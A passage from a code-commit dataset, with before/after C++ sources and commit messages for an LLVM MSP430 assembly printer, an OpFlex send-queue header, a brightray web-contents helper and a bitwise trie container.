OpNum,\n                      const char* Modifier = 0);\n    void printPCRelImmOperand(const MachineInstr *MI, int OpNum) {\n      printOperand(MI, OpNum);\n    }\n    void printSrcMemOperand(const MachineInstr *MI, int OpNum,\n                            const char* Modifier = 0);\n    void printCCOperand(const MachineInstr *MI, int OpNum);\n    void printMachineInstruction(const MachineInstr * MI);\n    bool PrintAsmOperand(const MachineInstr *MI, unsigned OpNo,\n                         unsigned AsmVariant,\n                         const char *ExtraCode);\n    bool PrintAsmMemoryOperand(const MachineInstr *MI,\n                               unsigned OpNo, unsigned AsmVariant,\n                               const char *ExtraCode);\n    void printInstructionThroughMCStreamer(const MachineInstr *MI);\n\n    bool runOnMachineFunction(MachineFunction &F);\n\n    void getAnalysisUsage(AnalysisUsage &AU) const {\n      AsmPrinter::getAnalysisUsage(AU);\n      AU.setPreservesAll();\n    }\n  };\n} \/\/ end of anonymous namespace\n\n\nbool MSP430AsmPrinter::runOnMachineFunction(MachineFunction &MF) {\n  SetupMachineFunction(MF);\n  O << \"\\n\\n\";\n  \n  EmitFunctionHeader();\n\n  \/\/ Print out code for the function.\n  for (MachineFunction::const_iterator I = MF.begin(), E = MF.end();\n       I != E; ++I) {\n    \/\/ Print a label for the basic block.\n    EmitBasicBlockStart(I);\n\n    for (MachineBasicBlock::const_iterator II = I->begin(), E = I->end();\n         II != E; ++II)\n      \/\/ Print the assembly for the instruction.\n      printMachineInstruction(II);\n  }\n\n  if (MAI->hasDotTypeDotSizeDirective())\n    O << \"\\t.size\\t\" << *CurrentFnSym << \", .-\" << *CurrentFnSym << '\\n';\n\n  \/\/ Print out constants referenced by the function\n  EmitConstantPool(MF.getConstantPool());\n  EmitJumpTableInfo(MF);\n  \n  \/\/ We didn't modify anything\n  return false;\n}\n\nvoid MSP430AsmPrinter::printMachineInstruction(const MachineInstr *MI) {\n  ++EmittedInsts;\n\n  processDebugLoc(MI, true);\n\n  printInstructionThroughMCStreamer(MI);\n\n  if (VerboseAsm)\n    EmitComments(*MI);\n  O << '\\n';\n\n  processDebugLoc(MI, false);\n}\n\nvoid MSP430AsmPrinter::printOperand(const MachineInstr *MI, int OpNum,\n                                    const char* Modifier) {\n  const MachineOperand &MO = MI->getOperand(OpNum);\n  switch (MO.getType()) {\n  case MachineOperand::MO_Register:\n    O << MSP430InstPrinter::getRegisterName(MO.getReg());\n    return;\n  case MachineOperand::MO_Immediate:\n    if (!Modifier || strcmp(Modifier, \"nohash\"))\n      O << '#';\n    O << MO.getImm();\n    return;\n  case MachineOperand::MO_MachineBasicBlock:\n    O << *MO.getMBB()->getSymbol(OutContext);\n    return;\n  case MachineOperand::MO_GlobalAddress: {\n    bool isMemOp  = Modifier && !strcmp(Modifier, \"mem\");\n    uint64_t Offset = MO.getOffset();\n\n    O << (isMemOp ? '&' : '#');\n    if (Offset)\n      O << '(' << Offset << '+';\n\n    O << *GetGlobalValueSymbol(MO.getGlobal());\n    \n    if (Offset)\n      O << ')';\n\n    return;\n  }\n  case MachineOperand::MO_ExternalSymbol: {\n    bool isMemOp  = Modifier && !strcmp(Modifier, \"mem\");\n    O << (isMemOp ? '&' : '#');\n    O << MAI->getGlobalPrefix() << MO.getSymbolName();\n    return;\n  }\n  default:\n    llvm_unreachable(\"Not implemented yet!\");\n  }\n}\n\nvoid MSP430AsmPrinter::printSrcMemOperand(const MachineInstr *MI, int OpNum,\n                                          const char* Modifier) {\n  const MachineOperand &Base = MI->getOperand(OpNum);\n  const MachineOperand &Disp = MI->getOperand(OpNum+1);\n\n  \/\/ Print displacement first\n  if (!Disp.isImm()) {\n    printOperand(MI, OpNum+1, \"mem\");\n  } else {\n    if (!Base.getReg())\n      O << '&';\n\n    printOperand(MI, OpNum+1, \"nohash\");\n  }\n\n\n  \/\/ Print register base field\n  if (Base.getReg()) {\n    O << '(';\n    printOperand(MI, OpNum);\n    O << ')';\n  }\n}\n\nvoid MSP430AsmPrinter::printCCOperand(const MachineInstr *MI, int OpNum) {\n  unsigned CC = MI->getOperand(OpNum).getImm();\n\n  switch (CC) {\n  default:\n   llvm_unreachable(\"Unsupported CC code\");\n   break;\n  case MSP430CC::COND_E:\n   O << \"eq\";\n   break;\n  case MSP430CC::COND_NE:\n   O << \"ne\";\n   break;\n  case MSP430CC::COND_HS:\n   O << \"hs\";\n   break;\n  case MSP430CC::COND_LO:\n   O << \"lo\";\n   break;\n  case MSP430CC::COND_GE:\n   O << \"ge\";\n   break;\n  case MSP430CC::COND_L:\n   O << 'l';\n   break;\n  }\n}\n\n\/\/\/ PrintAsmOperand - Print out an operand for an inline asm expression.\n\/\/\/\nbool MSP430AsmPrinter::PrintAsmOperand(const MachineInstr *MI, unsigned OpNo,\n                                       unsigned AsmVariant,\n                                       const char *ExtraCode) {\n  \/\/ Does this asm operand have a single letter operand modifier?\n  if (ExtraCode && ExtraCode[0])\n    return true; \/\/ Unknown modifier.\n\n  printOperand(MI, OpNo);\n  return false;\n}\n\nbool MSP430AsmPrinter::PrintAsmMemoryOperand(const MachineInstr *MI,\n                                             unsigned OpNo, unsigned AsmVariant,\n                                             const char *ExtraCode) {\n  if (ExtraCode && ExtraCode[0]) {\n    return true; \/\/ Unknown modifier.\n  }\n  printSrcMemOperand(MI, OpNo);\n  return false;\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\nvoid MSP430AsmPrinter::printInstructionThroughMCStreamer(const MachineInstr *MI){\n\n  MSP430MCInstLower MCInstLowering(OutContext, *Mang, *this);\n\n  switch (MI->getOpcode()) {\n  case TargetInstrInfo::DBG_LABEL:\n  case TargetInstrInfo::EH_LABEL:\n  case TargetInstrInfo::GC_LABEL:\n    printLabel(MI);\n    return;\n  case TargetInstrInfo::KILL:\n    printKill(MI);\n    return;\n  case TargetInstrInfo::INLINEASM:\n    printInlineAsm(MI);\n    return;\n  case TargetInstrInfo::IMPLICIT_DEF:\n    printImplicitDef(MI);\n    return;\n  default: break;\n  }\n\n  MCInst TmpInst;\n  MCInstLowering.Lower(MI, TmpInst);\n\n  printMCInst(&TmpInst);\n}\n\nstatic MCInstPrinter *createMSP430MCInstPrinter(const Target &T,\n                                                unsigned SyntaxVariant,\n                                                const MCAsmInfo &MAI,\n                                                raw_ostream &O) {\n  if (SyntaxVariant == 0)\n    return new MSP430InstPrinter(O, MAI);\n  return 0;\n}\n\n\/\/ Force static initialization.\nextern \"C\" void LLVMInitializeMSP430AsmPrinter() {\n  RegisterAsmPrinter<MSP430AsmPrinter> X(TheMSP430Target);\n  TargetRegistry::RegisterMCInstPrinter(TheMSP430Target,\n                                        createMSP430MCInstPrinter);\n}\n<commit_msg>don't emit constant pools twice.<commit_after>\/\/===-- MSP430AsmPrinter.cpp - MSP430 LLVM assembly writer ----------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains a printer that converts from our internal representation\n\/\/ of machine-dependent LLVM code to the MSP430 assembly language.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#define DEBUG_TYPE \"asm-printer\"\n#include \"MSP430.h\"\n#include \"MSP430InstrInfo.h\"\n#include \"MSP430InstPrinter.h\"\n#include \"MSP430MCAsmInfo.h\"\n#include \"MSP430MCInstLower.h\"\n#include \"MSP430TargetMachine.h\"\n#include \"llvm\/Constants.h\"\n#include \"llvm\/DerivedTypes.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/Assembly\/Writer.h\"\n#include \"llvm\/CodeGen\/AsmPrinter.h\"\n#include \"llvm\/CodeGen\/DwarfWriter.h\"\n#include \"llvm\/CodeGen\/MachineModuleInfo.h\"\n#include \"llvm\/CodeGen\/MachineFunctionPass.h\"\n#include \"llvm\/CodeGen\/MachineConstantPool.h\"\n#include \"llvm\/CodeGen\/MachineInstr.h\"\n#include \"llvm\/MC\/MCInst.h\"\n#include \"llvm\/MC\/MCStreamer.h\"\n#include \"llvm\/MC\/MCSymbol.h\"\n#include \"llvm\/Target\/TargetData.h\"\n#include \"llvm\/Target\/TargetLoweringObjectFile.h\"\n#include \"llvm\/Target\/TargetRegistry.h\"\n#include \"llvm\/ADT\/Statistic.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/FormattedStream.h\"\n#include \"llvm\/Support\/ErrorHandling.h\"\nusing namespace llvm;\n\nSTATISTIC(EmittedInsts, \"Number of machine instrs printed\");\n\nstatic cl::opt<bool>\nEnableMCInst(\"enable-msp430-mcinst-printer\", cl::Hidden,\n             cl::desc(\"enable experimental mcinst gunk in the msp430 backend\"));\n\nnamespace {\n  class MSP430AsmPrinter : public AsmPrinter {\n  public:\n    MSP430AsmPrinter(formatted_raw_ostream &O, TargetMachine &TM,\n                     const MCAsmInfo *MAI, bool V)\n      : AsmPrinter(O, TM, MAI, V) {}\n\n    virtual const char *getPassName() const {\n      return \"MSP430 Assembly Printer\";\n    }\n\n    void printMCInst(const MCInst *MI) {\n      MSP430InstPrinter(O, *MAI).printInstruction(MI);\n    }\n    void printOperand(const MachineInstr *MI, int OpNum,\n                      const char* Modifier = 0);\n    void printPCRelImmOperand(const MachineInstr *MI, int OpNum) {\n      printOperand(MI, OpNum);\n    }\n    void printSrcMemOperand(const MachineInstr *MI, int OpNum,\n                            const char* Modifier = 0);\n    void printCCOperand(const MachineInstr *MI, int OpNum);\n    void printMachineInstruction(const MachineInstr * MI);\n    bool PrintAsmOperand(const MachineInstr *MI, unsigned OpNo,\n                         unsigned AsmVariant,\n                         const char *ExtraCode);\n    bool PrintAsmMemoryOperand(const MachineInstr *MI,\n                               unsigned OpNo, unsigned AsmVariant,\n                               const char *ExtraCode);\n    void printInstructionThroughMCStreamer(const MachineInstr *MI);\n\n    bool runOnMachineFunction(MachineFunction &F);\n\n    void getAnalysisUsage(AnalysisUsage &AU) const {\n      AsmPrinter::getAnalysisUsage(AU);\n      AU.setPreservesAll();\n    }\n  };\n} \/\/ end of anonymous namespace\n\n\nbool MSP430AsmPrinter::runOnMachineFunction(MachineFunction &MF) {\n  SetupMachineFunction(MF);\n  O << \"\\n\\n\";\n  \n  EmitFunctionHeader();\n\n  \/\/ Print out code for the function.\n  for (MachineFunction::const_iterator I = MF.begin(), E = MF.end();\n       I != E; ++I) {\n    \/\/ Print a label for the basic block.\n    EmitBasicBlockStart(I);\n\n    for (MachineBasicBlock::const_iterator II = I->begin(), E = I->end();\n         II != E; ++II)\n      \/\/ Print the assembly for the instruction.\n      printMachineInstruction(II);\n  }\n\n  if (MAI->hasDotTypeDotSizeDirective())\n    O << \"\\t.size\\t\" << *CurrentFnSym << \", .-\" << *CurrentFnSym << '\\n';\n\n  \/\/ Print out constants referenced by the function\n  EmitJumpTableInfo(MF);\n  \n  \/\/ We didn't modify anything\n  return false;\n}\n\nvoid MSP430AsmPrinter::printMachineInstruction(const MachineInstr *MI) {\n  ++EmittedInsts;\n\n  processDebugLoc(MI, true);\n\n  printInstructionThroughMCStreamer(MI);\n\n  if (VerboseAsm)\n    EmitComments(*MI);\n  O << '\\n';\n\n  processDebugLoc(MI, false);\n}\n\nvoid MSP430AsmPrinter::printOperand(const MachineInstr *MI, int OpNum,\n                                    const char* Modifier) {\n  const MachineOperand &MO = MI->getOperand(OpNum);\n  switch (MO.getType()) {\n  case MachineOperand::MO_Register:\n    O << MSP430InstPrinter::getRegisterName(MO.getReg());\n    return;\n  case MachineOperand::MO_Immediate:\n    if (!Modifier || strcmp(Modifier, \"nohash\"))\n      O << '#';\n    O << MO.getImm();\n    return;\n  case MachineOperand::MO_MachineBasicBlock:\n    O << *MO.getMBB()->getSymbol(OutContext);\n    return;\n  case MachineOperand::MO_GlobalAddress: {\n    bool isMemOp  = Modifier && !strcmp(Modifier, \"mem\");\n    uint64_t Offset = MO.getOffset();\n\n    O << (isMemOp ? '&' : '#');\n    if (Offset)\n      O << '(' << Offset << '+';\n\n    O << *GetGlobalValueSymbol(MO.getGlobal());\n    \n    if (Offset)\n      O << ')';\n\n    return;\n  }\n  case MachineOperand::MO_ExternalSymbol: {\n    bool isMemOp  = Modifier && !strcmp(Modifier, \"mem\");\n    O << (isMemOp ? '&' : '#');\n    O << MAI->getGlobalPrefix() << MO.getSymbolName();\n    return;\n  }\n  default:\n    llvm_unreachable(\"Not implemented yet!\");\n  }\n}\n\nvoid MSP430AsmPrinter::printSrcMemOperand(const MachineInstr *MI, int OpNum,\n                                          const char* Modifier) {\n  const MachineOperand &Base = MI->getOperand(OpNum);\n  const MachineOperand &Disp = MI->getOperand(OpNum+1);\n\n  \/\/ Print displacement first\n  if (!Disp.isImm()) {\n    printOperand(MI, OpNum+1, \"mem\");\n  } else {\n    if (!Base.getReg())\n      O << '&';\n\n    printOperand(MI, OpNum+1, \"nohash\");\n  }\n\n\n  \/\/ Print register base field\n  if (Base.getReg()) {\n    O << '(';\n    printOperand(MI, OpNum);\n    O << ')';\n  }\n}\n\nvoid MSP430AsmPrinter::printCCOperand(const MachineInstr *MI, int OpNum) {\n  unsigned CC = MI->getOperand(OpNum).getImm();\n\n  switch (CC) {\n  default:\n   llvm_unreachable(\"Unsupported CC code\");\n   break;\n  case MSP430CC::COND_E:\n   O << \"eq\";\n   break;\n  case MSP430CC::COND_NE:\n   O << \"ne\";\n   break;\n  case MSP430CC::COND_HS:\n   O << \"hs\";\n   break;\n  case MSP430CC::COND_LO:\n   O << \"lo\";\n   break;\n  case MSP430CC::COND_GE:\n   O << \"ge\";\n   break;\n  case MSP430CC::COND_L:\n   O << 'l';\n   break;\n  }\n}\n\n\/\/\/ PrintAsmOperand - Print out an operand for an inline asm expression.\n\/\/\/\nbool MSP430AsmPrinter::PrintAsmOperand(const MachineInstr *MI, unsigned OpNo,\n                                       unsigned AsmVariant,\n                                       const char *ExtraCode) {\n  \/\/ Does this asm operand have a single letter operand modifier?\n  if (ExtraCode && ExtraCode[0])\n    return true; \/\/ Unknown modifier.\n\n  printOperand(MI, OpNo);\n  return false;\n}\n\nbool MSP430AsmPrinter::PrintAsmMemoryOperand(const MachineInstr *MI,\n                                             unsigned OpNo, unsigned AsmVariant,\n                                             const char *ExtraCode) {\n  if (ExtraCode && ExtraCode[0]) {\n    return true; \/\/ Unknown modifier.\n  }\n  printSrcMemOperand(MI, OpNo);\n  return false;\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\nvoid MSP430AsmPrinter::printInstructionThroughMCStreamer(const MachineInstr *MI){\n\n  MSP430MCInstLower MCInstLowering(OutContext, *Mang, *this);\n\n  switch (MI->getOpcode()) {\n  case TargetInstrInfo::DBG_LABEL:\n  case TargetInstrInfo::EH_LABEL:\n  case TargetInstrInfo::GC_LABEL:\n    printLabel(MI);\n    return;\n  case TargetInstrInfo::KILL:\n    printKill(MI);\n    return;\n  case TargetInstrInfo::INLINEASM:\n    printInlineAsm(MI);\n    return;\n  case TargetInstrInfo::IMPLICIT_DEF:\n    printImplicitDef(MI);\n    return;\n  default: break;\n  }\n\n  MCInst TmpInst;\n  MCInstLowering.Lower(MI, TmpInst);\n\n  printMCInst(&TmpInst);\n}\n\nstatic MCInstPrinter *createMSP430MCInstPrinter(const Target &T,\n                                                unsigned SyntaxVariant,\n                                                const MCAsmInfo &MAI,\n                                                raw_ostream &O) {\n  if (SyntaxVariant == 0)\n    return new MSP430InstPrinter(O, MAI);\n  return 0;\n}\n\n\/\/ Force static initialization.\nextern \"C\" void LLVMInitializeMSP430AsmPrinter() {\n  RegisterAsmPrinter<MSP430AsmPrinter> X(TheMSP430Target);\n  TargetRegistry::RegisterMCInstPrinter(TheMSP430Target,\n                                        createMSP430MCInstPrinter);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2014 Cisco Systems, Inc. and others.  All rights reserved.\n *\n * This program and the accompanying materials are made available under the\n * terms of the Eclipse Public License v1.0 which accompanies this distribution,\n * and is available at http:\/\/www.eclipse.org\/legal\/epl-v10.html\n *\/\n\n#pragma once\n#ifndef _____COMMS__INCLUDE__OPFLEX__RPC__SEND_HANDLER_HPP\n#define _____COMMS__INCLUDE__OPFLEX__RPC__SEND_HANDLER_HPP\n\n#include <rapidjson\/rapidjson.h>\n\n#include <deque>\n#include <opflex\/logging\/internal\/logging.hpp>\n\nnamespace yajr {\n    namespace internal {\n\nbool __checkInvariants(void const *);\nbool isLegitPunct(int c);\n\ntemplate <typename Encoding = rapidjson::UTF8<> >\nstruct GenericStringQueue {\n\n    typedef typename Encoding::Ch Ch;\n\n    void Put(Ch c) {\n        deque_.push_back(c);\n        assert(::yajr::internal::isLegitPunct(c));\n#ifdef PERFORM_CRAZY_BYTE_BY_BYTE_INVARIANT_CHECK\n        assert(__checkInvariants(cP_));\n#endif\n        if(deque_.back()!=c){\n            LOG(ERROR)\n                << \"inserted char already changed: \\\"\"\n                << c\n                << \"\\\"->\\\"\"\n                << deque_.back()\n                << \"\\\"\"\n            ;\n        }\n    }\n\n    void Flush() {}\n\n    void Clear() {\n        deque_.clear();\n    }\n\n    void ShrinkToFit() {\n        deque_.shrink_to_fit();\n    }\n\n    size_t GetSize() const {\n        return deque_.size();\n    }\n\n    std::deque<Ch> deque_;\n#ifndef NDEBUG\n    void const * cP_;\n#endif\n};\n\n\/\/! String buffer with UTF8 encoding\ntypedef GenericStringQueue<rapidjson::UTF8<> > StringQueue;\n\n} \/* yajr::internal namespace *\/\n} \/* yajr namespace *\/\n\n#endif \/* _____COMMS__INCLUDE__OPFLEX__RPC__SEND_HANDLER_HPP *\/\n\n<commit_msg>avoid logging from send handler<commit_after>\/*\n * Copyright (c) 2014 Cisco Systems, Inc. and others.  All rights reserved.\n *\n * This program and the accompanying materials are made available under the\n * terms of the Eclipse Public License v1.0 which accompanies this distribution,\n * and is available at http:\/\/www.eclipse.org\/legal\/epl-v10.html\n *\/\n\n#pragma once\n#ifndef _____COMMS__INCLUDE__OPFLEX__RPC__SEND_HANDLER_HPP\n#define _____COMMS__INCLUDE__OPFLEX__RPC__SEND_HANDLER_HPP\n\n#include <rapidjson\/rapidjson.h>\n\n#include <deque>\n\n#ifdef PERFORM_CRAZY_BYTE_BY_BYTE_INVARIANT_CHECK\n#include <opflex\/logging\/internal\/logging.hpp>\n#endif\nnamespace yajr {\n    namespace internal {\n\nbool __checkInvariants(void const *);\nbool isLegitPunct(int c);\n\ntemplate <typename Encoding = rapidjson::UTF8<> >\nstruct GenericStringQueue {\n\n    typedef typename Encoding::Ch Ch;\n\n    void Put(Ch c) {\n        deque_.push_back(c);\n        assert(::yajr::internal::isLegitPunct(c));\n#ifdef PERFORM_CRAZY_BYTE_BY_BYTE_INVARIANT_CHECK\n        assert(__checkInvariants(cP_));\n        if(deque_.back()!=c){\n            LOG(ERROR)\n                << \"inserted char already changed: \\\"\"\n                << c\n                << \"\\\"->\\\"\"\n                << deque_.back()\n                << \"\\\"\"\n            ;\n        }\n#endif\n    }\n\n    void Flush() {}\n\n    void Clear() {\n        deque_.clear();\n    }\n\n    void ShrinkToFit() {\n        deque_.shrink_to_fit();\n    }\n\n    size_t GetSize() const {\n        return deque_.size();\n    }\n\n    std::deque<Ch> deque_;\n#ifndef NDEBUG\n    void const * cP_;\n#endif\n};\n\n\/\/! String buffer with UTF8 encoding\ntypedef GenericStringQueue<rapidjson::UTF8<> > StringQueue;\n\n} \/* yajr::internal namespace *\/\n} \/* yajr namespace *\/\n\n#endif \/* _____COMMS__INCLUDE__OPFLEX__RPC__SEND_HANDLER_HPP *\/\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"browser\/inspectable_web_contents.h\"\n\n#include \"browser\/inspectable_web_contents_impl.h\"\n\nnamespace brightray {\n\nInspectableWebContents* InspectableWebContents::Create(const content::WebContents::CreateParams& create_params) {\n  return Create(content::WebContents::Create(create_params));\n}\n\nInspectableWebContents* InspectableWebContents::Create(content::WebContents* web_contents) {\n  return new InspectableWebContentsImpl(web_contents);\n}\n\n}\n<commit_msg>Fix flashing in WebContents we create<commit_after>#include \"browser\/inspectable_web_contents.h\"\n\n#include \"browser\/inspectable_web_contents_impl.h\"\n\n#include \"content\/public\/browser\/web_contents_view.h\"\n\nnamespace brightray {\n\nInspectableWebContents* InspectableWebContents::Create(const content::WebContents::CreateParams& create_params) {\n  auto contents = content::WebContents::Create(create_params);\n#if defined(OS_MACOSX)\n  \/\/ Work around http:\/\/crbug.com\/279472.\n  contents->GetView()->SetAllowOverlappingViews(true);\n#endif\n\n  return Create(contents);\n}\n\nInspectableWebContents* InspectableWebContents::Create(content::WebContents* web_contents) {\n  return new InspectableWebContentsImpl(web_contents);\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Minor edit<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Tidy<commit_after><|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <iostream>\n\n#include \"binary.hxx\"\n#include \"bitnode.hxx\"\n\nnamespace despairagus {\n\tnamespace bitwisetrieNS {\n\t\tusing std::cout;\n\t\tusing std::ostream;\n\n\t\tusing namespace bitnodeNS;\n\t\tusing namespace binaryNS;\n\n\t\ttemplate <typename A, typename B>\n\t\tclass bitwisetrie final {\n\t\t\ttemplate<typename C>\n\t\t\tusing conref = const C&;\n\n\t\t\tusing bitA = std::bitset<sizeof(A) << 3>;\n\t\t\tusing byte = unsigned char;\n\t\t\tusing bit = bool;\n\n\t\t\tconstexpr static const size_t limit{sizeof(A) << 3};\n\n\t\t\tstatic inline bitnode<B>* navigate(bitnode<B>* currNode, conref<A> data) {\n\t\t\t\treturn bitwisetrie<A,B>::navigate(currNode, data, 0);\n\t\t\t}\n\n\t\t\tstatic inline bitnode<B>* navigate(bitnode<B>* currNode, conref<A> data, conref<size_t> idx) {\n\t\t\t\tbinary<A> bitHolder{data};\n\n\t\t\t\treturn bitwisetrie<A,B>::navigate(currNode, bitHolder, idx);\n\t\t\t}\n\n\t\t\tstatic bitnode<B>* navigate(bitnode<B>* currNode, conref<binary<A>> bits, conref<size_t> idx) {\n\t\t\t\tif (idx < limit) {\n\t\t\t\t\tif (bits.getBit(idx)) {\n\t\t\t\t\t\tif (currNode->getOne() == nullptr) {\n\t\t\t\t\t\t\tcurrNode->setOne(new bitnode<B>);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\treturn bitwisetrie<A,B>::navigate(currNode->getOne(), bits, idx + 1);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif (currNode->getZero() == nullptr) {\n\t\t\t\t\t\t\tcurrNode->setZero(new bitnode<B>);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\treturn bitwisetrie<A,B>::navigate(currNode->getZero(), bits, idx + 1);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn currNode;\n\t\t\t}\n\n\t\tpublic:\n\t\t\texplicit bitwisetrie(void) : root{new bitnode<B>} {}\n\n\t\t\ttemplate <typename... C>\n\t\t\texplicit bitwisetrie(C...) = delete;\n\n\t\t\tinline explicit operator bool (void) {\n\t\t\t\treturn this->root->isBarren();\n\t\t\t}\n\n\t\t\ttemplate <typename C>\n\t\t\texplicit operator C (void) = delete;\n\n\t\t\tinline bool insertOnEmpty(conref<A> a, conref<B> b) noexcept {\n\t\t\t\tbitnode<B>* leafNode = bitwisetrie<A,B>::navigate(root, a);\n\n\t\t\t\tif (leafNode->isEmpty()) {\n\t\t\t\t\tleafNode->setData(b);\n\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tinline bool insertOnNotEmpty(conref<A> a, conref<B> b) noexcept {\n\t\t\t\tbitnode<B>* leafNode = bitwisetrie<A,B>::navigate(root, a);\n\n\t\t\t\tif (leafNode->isNotEmpty()) {\n\t\t\t\t\tleafNode->setData(b);\n\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tinline void insert(conref<A> a, conref<B> b) noexcept {\n\t\t\t\tbitnode<B>* leafNode = bitwisetrie<A,B>::navigate(root, a);\n\n\t\t\t\tleafNode->setData(a);\n\t\t\t}\n\n\t\t\tinline bool remove(conref<A> a) noexcept {\n\t\t\t\tbitnode<B>* leafNode = bitwisetrie<A,B>::navigate(root, a);\n\n\t\t\t\tif (leafNode->isNotEmpty()) {\n\t\t\t\t\tleafNode->dump();\n\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tinline bool contains(conref<A> a) noexcept {\n\t\t\t\tbitnode<B>* leafNode = bitwisetrie<A,B>::navigate(root, a);\n\n\t\t\t\treturn leafNode->isNotEmpty();\n\t\t\t}\n\n\t\t\tinline bool notContains(conref<A> a) noexcept {\n\t\t\t\treturn !this->contains(a);\n\t\t\t}\n\n\t\tprivate:\n\t\t\tbitnode<B>* root;\n\t\t};\n\t}\n}\n<commit_msg>should be using isNotBarren<commit_after>#pragma once\n\n#include <iostream>\n\n#include \"binary.hxx\"\n#include \"bitnode.hxx\"\n\nnamespace despairagus {\n\tnamespace bitwisetrieNS {\n\t\tusing std::cout;\n\t\tusing std::ostream;\n\n\t\tusing namespace bitnodeNS;\n\t\tusing namespace binaryNS;\n\n\t\ttemplate <typename A, typename B>\n\t\tclass bitwisetrie final {\n\t\t\ttemplate<typename C>\n\t\t\tusing conref = const C&;\n\n\t\t\tusing bitA = std::bitset<sizeof(A) << 3>;\n\t\t\tusing byte = unsigned char;\n\t\t\tusing bit = bool;\n\n\t\t\tconstexpr static const size_t limit{sizeof(A) << 3};\n\n\t\t\tstatic inline bitnode<B>* navigate(bitnode<B>* currNode, conref<A> data) {\n\t\t\t\treturn bitwisetrie<A,B>::navigate(currNode, data, 0);\n\t\t\t}\n\n\t\t\tstatic inline bitnode<B>* navigate(bitnode<B>* currNode, conref<A> data, conref<size_t> idx) {\n\t\t\t\tbinary<A> bitHolder{data};\n\n\t\t\t\treturn bitwisetrie<A,B>::navigate(currNode, bitHolder, idx);\n\t\t\t}\n\n\t\t\tstatic bitnode<B>* navigate(bitnode<B>* currNode, conref<binary<A>> bits, conref<size_t> idx) {\n\t\t\t\tif (idx < limit) {\n\t\t\t\t\tif (bits.getBit(idx)) {\n\t\t\t\t\t\tif (currNode->getOne() == nullptr) {\n\t\t\t\t\t\t\tcurrNode->setOne(new bitnode<B>);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\treturn bitwisetrie<A,B>::navigate(currNode->getOne(), bits, idx + 1);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif (currNode->getZero() == nullptr) {\n\t\t\t\t\t\t\tcurrNode->setZero(new bitnode<B>);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\treturn bitwisetrie<A,B>::navigate(currNode->getZero(), bits, idx + 1);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn currNode;\n\t\t\t}\n\n\t\tpublic:\n\t\t\texplicit bitwisetrie(void) : root{new bitnode<B>} {}\n\n\t\t\ttemplate <typename... C>\n\t\t\texplicit bitwisetrie(C...) = delete;\n\n\t\t\tinline explicit operator bool (void) {\n\t\t\t\treturn this->root->isNotBarren();\n\t\t\t}\n\n\t\t\ttemplate <typename C>\n\t\t\texplicit operator C (void) = delete;\n\n\t\t\tinline bool insertOnEmpty(conref<A> a, conref<B> b) noexcept {\n\t\t\t\tbitnode<B>* leafNode = bitwisetrie<A,B>::navigate(root, a);\n\n\t\t\t\tif (leafNode->isEmpty()) {\n\t\t\t\t\tleafNode->setData(b);\n\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tinline bool insertOnNotEmpty(conref<A> a, conref<B> b) noexcept {\n\t\t\t\tbitnode<B>* leafNode = bitwisetrie<A,B>::navigate(root, a);\n\n\t\t\t\tif (leafNode->isNotEmpty()) {\n\t\t\t\t\tleafNode->setData(b);\n\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tinline void insert(conref<A> a, conref<B> b) noexcept {\n\t\t\t\tbitnode<B>* leafNode = bitwisetrie<A,B>::navigate(root, a);\n\n\t\t\t\tleafNode->setData(a);\n\t\t\t}\n\n\t\t\tinline bool remove(conref<A> a) noexcept {\n\t\t\t\tbitnode<B>* leafNode = bitwisetrie<A,B>::navigate(root, a);\n\n\t\t\t\tif (leafNode->isNotEmpty()) {\n\t\t\t\t\tleafNode->dump();\n\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tinline bool contains(conref<A> a) noexcept {\n\t\t\t\tbitnode<B>* leafNode = bitwisetrie<A,B>::navigate(root, a);\n\n\t\t\t\treturn leafNode->isNotEmpty();\n\t\t\t}\n\n\t\t\tinline bool notContains(conref<A> a) noexcept {\n\t\t\t\treturn !this->contains(a);\n\t\t\t}\n\n\t\tprivate:\n\t\t\tbitnode<B>* root;\n\t\t};\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n * Copyright (C) 2011-2014 Michael Ira Krufky\n *\n * Author: Michael Ira Krufky <mkrufky@linuxtv.org>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, 